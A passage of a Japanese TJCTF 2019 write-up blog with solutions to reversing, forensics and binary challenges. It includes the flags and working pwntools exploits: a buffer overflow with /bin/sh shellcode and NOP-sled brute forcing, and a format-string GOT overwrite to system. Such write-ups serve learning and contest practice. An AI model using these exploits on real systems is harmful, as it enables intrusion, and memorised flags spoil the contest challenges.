00\x14\x00\x00\x00o\x00\x00\x00U\x00\x00\x00\x10\x00\x00\x000\x00\x00\x00\x95\x00\x00\x00û\x00\x00\x00\x02\x00\x00\x00µ\x00\x00\x00\xad\x00\x00\x00Ó\x00\x00\x00\x02\x00\x00\x00\x82\x00\x00\x00Ë\x00\x00\x002\x00\x00\x00\x11\x00\x00\x00\x83\x00\x00\x00Ì\x00\x00\x00U\x00\x00\x00\x8b\x00\x00\x00b\x00\x00\x00×\x00\x00\x00,\x00\x00\x00\x8d\x00\x00\x00\x10\x00\x00\x00ð\x00\x00\x00!\x00\x00\x00Ï\x00\x00\x00L\x00\x00\x00\x0b\x00\x00\x00Î\x00\x00\x006\x00\x00\x00=\x00\x00\x00ø\x00\x00\x006\x00\x00\x00\x83\x00\x00\x00\x8a\x00\x00\x00\x8f\x00\x00\x00»\x00\x00\x00\xa0\x00\x00\x00r\x00\x00\x00ö\x00\x00\x00i\x00\x00\x00ÿ\x00\x00\x00µ\x00\x00\x00ú\x00\x00\x00ñ\x00\x00\x00^\x00\x00\x00\'\x00\x00\x00Ö\x00\x00\x00\x85\x00\x00\x00Ð\x00\x00\x00p\x00\x00\x00>\x00\x00\x00¸\x00\x00\x00»\x00\x00\x009\x00\x00\x000\x00\x00\x00|\x00\x00\x00Æ\x00\x00\x00k\x00\x00\x00\x01\x00\x00\x00\x83\x00\x00\x00\x01\x00\x00\x00\x9a\x00\x00\x00*\x00\x00\x00è\x00\x00\x00Ô\x00\x00\x00\x86\x00\x00\x00\x01\x00\x00\x00\xa0\x00\x00\x00"\x00\x00\x00\x9c\x00\x00\x00f\x00\x00\x00\x89\x00\x00\x00Õ\x00\x00\x00î\x00\x00\x00(\x00\x00\x00+\x00\x00\x00e\x00\x00\x00Ó\x00\x00\x00ã\x00\x00\x00Ü\x00\x00\x003\x00\x00\x00&\x00\x00\x00o\x00\x00\x00\x02\x00\x00\x00ò\x00\x00\x00ó\x00\x00\x00L\x00\x00\x00á\x00\x00\x00\x84\x00\x00\x00¶\x00\x00\x00\x17\x00\x00\x00x\x00\x00\x00©\x00\x00\x00S\x00\x00\x00c\x00\x00\x00ä\x00\x00\x00¬\x00\x00\x00±\x00\x00\x00\x87\x00\x00\x00t\x00\x00\x00\'\x00\x00\x00y\x00\x00\x00\x82\x00\x00\x00[\x00\x00\x00¢\x00\x00\x00\x9d\x00\x00\x00\r\x00\x00\x00M\x00\x00\x00*\x00\x00\x00\x8b\x00\x00\x00h\x00\x00\x00-\x00\x00\x00²\x00\x00\x00\x07\x00\x00\x00\x17\x00\x00\x00\x9a\x00\x00\x00w\x00\x00\x00U\x00\x00\x00\'\x00\x00\x00[\x00\x00\x00¢\x00\x00\x00B\x00\x00\x00\x1e\x00\x00\x008\x00\x00\x00?\x00\x00\x00%\x00\x00\x00\x0f\x00\x00\x00\x06\x00\x00\x00\x91\x00\x00\x00X\x00\x00\x00\x16\x00\x00\x00{\x00\x00\x00E\x00\x00\x00J\x00\x00\x003\x00\x00\x00¥\x00\x00\x00\x05\x00\x00\x00\r\x00\x00\x00m\x00\x00\x00e\x00\x00\x00Â\x00\x00\x00\x7f\x00\x00\x00M\x00\x00\x00\x19\x00\x00\x00Ê\x00\x00\x00\x02\x00\x00\x00Í\x00\x00\x00ß\x00\x00\x00l\x00\x00\x00\x81\x00\x00\x00\xad\x00\x00\x00Å\x00\x00\x00ø\x00\x00\x00*\x00\x00\x00j\x00\x00\x00¾\x00\x00\x00;\x00\x00\x00\x1e\x00\x00\x00Ó\x00\x00\x007\x00\x00\x00ø\x00\x00\x00ï\x00\x00\x00\x94\x00\x00\x00ý\x00\x00\x00(\x00\x00\x00\x94\x00\x00\x00©\x00\x00\x00\x89\x00\x00\x00F\x00\x00\x00\x87\x00\x00\x005\x00\x00\x00\x17\x00\x00\x00L\x00\x00\x00Õ\x00\x00\x00Á\x00\x00\x00ë\x00\x00\x00¾\x00\x00\x00I\x00\x00\x00\x86\x00\x00\x00\x1c\x00\x00\x00A\x00\x00\x00Ù\x00\x00\x00X\x00\x00\x006\x00\x00\x00\x1f\x00\x00\x00\x0f\x00\x00\x00ö\x00\x00\x00q\x00\x00\x00d\x00\x00\x00Ù\x00\x00\x00Q\x00\x00\x00\x80\x00\x00\x00t\x00\x00\x00Õ\x00\x00\x00×\x00\x00\x00q\x00\x00\x00¿\x00\x00\x00Ô\x00\x00\x00\x8d\x00\x00\x00J\x00\x00\x00W\x00\x00\x00ý\x00\x00\x00ù\x00\x00\x00Ç\x00\x00\x00½\x00\x00\x00ö\x00\x00\x00p\x00\x00\x00×\x00\x00\x00¬\x00\x00\x00×\x00\x00\x00.\x00\x00\x00s\x00\x00\x00\x1e\x00\x00\x00Ì\x00\x00\x00¢\x00\x00\x00ê\x00\x00\x00'

s = "tjctf{0h_my_4_51mpl370n_4_r3d_h3rr1n6_f0r_7h33}"

for cnt in range(0x28):
    s2 = ord(r[(cnt * 4 + 2) * 4]) ^ ord(r[(cnt + 0x40) * 0x10]) ^ ord(r[cnt * 0x10])
    print(chr(s2), end="")

実は罠があって、rの文字列なんですがradare2で見てあげると途中で切れています。その状態だと復号するときにout of rangeエラーが出てしまうのでちゃんと続きまで適当につなげて挙げないとだめっぽいです。自分はバイナリエディタからその文字列のアドレスの部分を適当に引っ張ってきていい感じに置換するプログラムを書きました(置換しないと\x00としたいところが00になってしまうので)
tjctf{7h4nk_y0u_51r_0r_m4d4m3_v3ry_c00l}

[Forensics 70pts] SOS

--
Help! I swiped this off some extraterrestrial musician's laptop, but I think I'm getting trolled. I tried to intercept their communications, but their frequency is just too high. There's something wrong, but I just can't put my ear on it...
--
__ music.wav __

waveファイルが渡されます。曲はいつものやつでした笑
高周波数のところにフラグが隠されているらしいのでaudacityに入れて波形を確認していきます。
スペクトログラムで表示すると高周波数域にちょんちょんと音があることがわかります。実はこれがモールス信号になっていて、復号すると文章になりました。
f:id:mi__tsu:20190410210848p:plain
WOW!WHATATROLL,AMIRIGHT?WELL,ENOUGHOFTHAT,HERE'STHEFLAG:TJCTF{MYVOICEISGROWINGMORSE}
tjctf{myvoiceisgrowingmorse}

[Forensics 80pts] BC Calc

--
This file was found in Evan Shi's 60 gb homework folder. What could he be up to? Figure out what the images mean in order to find out.
notAnime
note: all letters in the flag are lowercase
--
__ logos.odt __

ワードパッドなどのソフトで開けます。
f:id:mi__tsu:20190410210630p:plain
赤丸で囲んだ部分に小さな"{"と"}"の画像になっています。ロゴに書かれたアルファベットをそのまま文字に起こしてみるとフラグになりました。
tjctf{knowurfiles}

[Binary 80pts] Silly Sledshop

--
Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful.
Lesson: nothing stops Omkar.
He will go sledding whenever and wherever he wants.
nc p1.tjctf.org 8010
--
__ sledshop __
__ sledshop.c __

ソースファイルと32bitのELFが渡されます。実行してみるとメニューが表示されますが、色々入力してもまた来てねみたいに言われてしまいます。
実はメニューの入力時にバッファオーバーフロー脆弱性があり、これで任意アドレスに飛ばすことができます。
checksecしてみるとNXビットが立ってなかったのでシェルコードで/bin/shを実行するようにします。おそらくASLRが機能していると思われるので、32bitで有ることをいいことにNOPスレッドを使ったブルートフォースをやっていきます。
コードどぺー

from pwn import *
from subprocess import Popen

offset = 80

buf_addr = 0xffffd84c + 100
 
nopsize = 0x700
shellcode = "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80" 

payload = "A" * offset + p32(buf_addr) + "\x90" * nopsize + shellcode

cnt = 0
while True:
    cnt += 1
    log.info(cnt)
    r = remote("p1.tjctf.org", 8010)

    #r = process("./a.out")

    print r.recv(0x100)
    r.sendline(payload)
    r.interactive()

3000回くらいでシェルが奪えました。フラグは忘れました

[Binary 120pts] Printf Polyglot

--
Security Consultants Inc. just developed a new portal! We managed to get a hold of the source code, and it doesn't look like their developers know what they're doing.
nc p1.tjctf.org 8003
--
__ printf_polyglot __
__ printf_polyglot.c __

FSAでGOToverwriteができる。printf_gotなどに0x00が含まれているためFSAがやりにくい。
GOTを書き換えて任意のアドレスに飛ばすまではできたが、その後どうすればいいかわからなかった。printfをsystemに変えてみてemalの内容をsystemで実行しようと思ったがどうにもエラーが出てうまく行かなかった。
強い人に聞いたところ、strcmpをsystemに書き換えてview_teamに飛ばせばいいらしい。非常に悔しい。
コードどぺー

from pwn import *
from libformatstr import FormatStr
import struct

#context(os='linux', arch='amd64')

offset = 24

printf_got = 0x602048
strcmp_got = 0x602058

view_team_103 = 0x4009fa
system_plt = 0x004006e0

#r = process("./printf_polyglot")
r = remote("p1.tjctf.org", 8003)

print r.recv(0x100)

r.sendline("1")
r.sendline("a")
print r.recv(0x100)

r.sendline("3")

print r.recv(0x100)

# printf_got <- system_plt

#payload = fmtstr_payload(offset, {printf_got:system_plt}, write_size="int")
payload = "aaaaaaaaaa"
payload += "%240c%40$hhn%15c%41$hhn%55c%42$hhn%192c%43$hhn%44$hhn%45$hhn%46$hhn%47$hhn%1248c%48$hn%63840c%49$hn%65472c%50$hn%51$hn" 
for i in range(8):
    payload += struct.pack("Q", printf_got + i)
for i in range(4):
    payload += struct.pack("Q", strcmp_got + 2 * i)

r.sendline(payload)

r.sendline("/bin/sh")
r.interactive()

馬鹿なのでペイロードの自動生成は書かなかった。

[Binary 140pts] Death Delivery

--
I've created a service (source) to help automate my holy work with the Death Note. Help me by reporting the names of those who have sinned. Help yourself stay on the side of the living.
nc p1.tjctf.org 8011
--
__ death_delivery __
__ death_delivery.c __

REDACTEDを入れたらフラグが出たらしい。くやしいいい。

最後に

振り返ってみると高得点なんも通せてないな???という印象が強かったです。あとこういった長いCTFは結構時間配分が大事だなというのも強く思いました。
一日目から四日間ほどはほとんど寝ないでCTFやって学校行ってだったので体調がすごいことになり、最終日に関してはおえーでした。ばか。
最期に、TJCTFに参加された方々お疲れさまでした。